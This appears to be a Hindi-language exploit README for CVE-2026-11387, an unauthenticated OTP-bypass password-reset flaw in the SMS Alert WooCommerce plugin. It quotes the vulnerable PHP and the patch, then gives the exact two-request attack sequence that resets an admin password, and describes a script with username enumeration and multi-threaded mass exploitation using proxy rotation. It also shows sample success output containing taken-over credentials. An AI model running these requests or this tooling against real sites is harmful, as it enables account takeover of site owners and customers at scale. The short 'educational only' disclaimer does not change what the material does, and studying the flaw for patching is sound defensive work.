
CVE-2026-11387 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, SMS Alert WooCommerce प्लगइन में एक अनप्रमाणित विशेषाधिकार वृद्धि भेद्यता, जो ओटीपी बायपास और मनमाना पासवर्ड रीसेट के माध्यम से होती है।
☆ बिना प्रमाणीकरण के विशेषाधिकार वृद्धि मनमाना पासवर्ड रीसेट के माध्यम से ☆
=== Beelze ===
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-11387 |
| CVSS Score | 9.8 Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Type | Missing Authentication / OTP Bypass |
| Plugin | SMS Alert – OTP Verification for WooCommerce (sms-alert) |
| Affected | ≤ 3.9.5 |
| Patched | 3.9.6 |
| Published | 2026 |
| PoC | Beelze |
SMS Alert – WooCommerce के लिए OTP सत्यापन ≤ 3.9.5 बिना प्रमाणीकरण के विशेषाधिकार वृद्धि के प्रति संवेदनशील है, एक मनमाना पासवर्ड रीसेट के माध्यम से। प्लगइन का पासवर्ड-रीसेट हैंडलर रीसेट क्रिया को विशेष रूप से $_REQUEST['option'] के smsalert-change-password-form स्ट्रिंग के लिए जाँच करके मान्य करता है, बिना यह सत्यापित किए कि OTP चुनौती कभी पूरी हुई थी।
सत्र-बीजारोपण (session-seeding) तंत्र में एक महत्वपूर्ण रेस कंडीशन हमलावर को दो HTTP अनुरोधों में किसी भी खाते पर कब्जा करने की अनुमति देती है:
user_login के साथ लॉस्ट-पासवर्ड फॉर्म पर POST — यह smsalert_site_challenge_otp() को ट्रिगर करता है जो बिना किसी OTP के सत्यापित किए $_SESSION['user_login'] को बीजारोपित करता है।option=smsalert-change-password-form और एक चुना हुआ नया पासवर्ड के साथ POST — routeData() पूर्व-बीजारोपित $_SESSION['user_login'] को पढ़ता है और बिना शर्त reset_password() को कॉल करता है।प्रभाव: किसी भी उपयोगकर्ता का पूर्ण बिना प्रमाणीकरण के खाता अधिग्रहण जिसका बिलिंग फ़ोन पंजीकृत है। हमलावर पीड़ित की भूमिका और विशेषाधिकारों के साथ स्थायी पहुँच प्राप्त करता है।
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp', [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
$user_login = sanitize_text_field( $_REQUEST['user_login'] );
$user = get_user_by( 'login', $user_login )
?: get_user_by( 'email', $user_login );
if ( $user ) {
// ❌ $_SESSION['user_login'] यहाँ सेट किया जाता है — OTP सत्यापन से पहले
$_SESSION['user_login'] = $user->user_login;
$_SESSION['smsalert_otp'] = $this->generate_otp();
$_SESSION[self::SESSION_VAR] = 'otp_sent'; // 'validated' नहीं
$this->send_otp( $user );
}
}
// handler/forms/class-wpresetpassword.php
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ❌ गायब: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
$this->reset_password();
}
}
// handler/forms/class-wpresetpassword.php
private function reset_password() {
$user_login = $_SESSION['user_login'] ?? ''; // smsalert_site_challenge_otp() द्वारा दूषित
$new_pass = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
$confirm = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );
if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }
$user = get_user_by( 'login', $user_login );
if ( $user ) {
wp_set_password( $new_pass, $user->ID ); // ✅ पासवर्ड बदला — कोई OTP आवश्यक नहीं
wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
exit;
}
}
// handler/forms/class-wpresetpassword.php (तय)
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ✅ तय: रीसेट की अनुमति देने से पहले OTP सत्यापित होना चाहिए
if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
wp_die( 'OTP verification required.' );
}
$this->reset_password();
}
}
हमलावर (कोई प्रमाणीकरण नहीं)
│
│ POST /my-account/lost-password/
│ body: user_login=admin
▼
┌─────────────────────────────────────────┐
│ smsalert_site_challenge_otp() │
│ → $_SESSION['user_login'] = 'admin' │ ← सत्र दूषित 💀
│ → $_SESSION[SESSION_VAR] = 'otp_sent' │
│ → OTP पीड़ित के फ़ोन पर भेजा गया │
│ (हमलावर OTP कभी नहीं देखता) │
└─────────────────────────────────────────┘
│
│ POST /my-account/lost-password/
│ body: option=smsalert-change-password-form
│ smsalert_user_newpwd=Pwned123!
│ smsalert_user_cnfpwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ routeData() │
│ → केवल $_REQUEST['option'] जाँचता है │
│ → SESSION_VAR जाँच: छोड़ दिया गया ❌ │
│ → reset_password() कॉल किया गया │
│ → wp_set_password('admin', newpwd) │ ← पासवर्ड बदल दिया गया 😈
└─────────────────────────────────────────┘
│
│ POST /wp-login.php
│ log=admin pwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ लॉगिन सफल │
│ wordpress_logged_in_* कुकी सेट │ ← अधिग्रहण पुष्ट 💀
└─────────────────────────────────────────┘
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username
# Username enumeration only
python CVE-2026-11387.py
# → Mode 2
# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file
# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
Exploit Phases:
Phase 1 — Reachability check + HTTP fallback
Phase 2 — Version fingerprint via readme.txt
Phase 3 — Username enumeration (REST API / sitemap / author archive)
Phase 4 — OTP challenge trigger (session poisoning)
Phase 5 — Password reset via routeData() bypass
Phase 6 — Login verification (wordpress_logged_in_* cookie)
Sample output (scan_results/CVE-2026-11387_success.txt):
[2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa
SMS Alert को संस्करण 3.9.6 या नए में अपडेट करें।
[Beelze] — केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए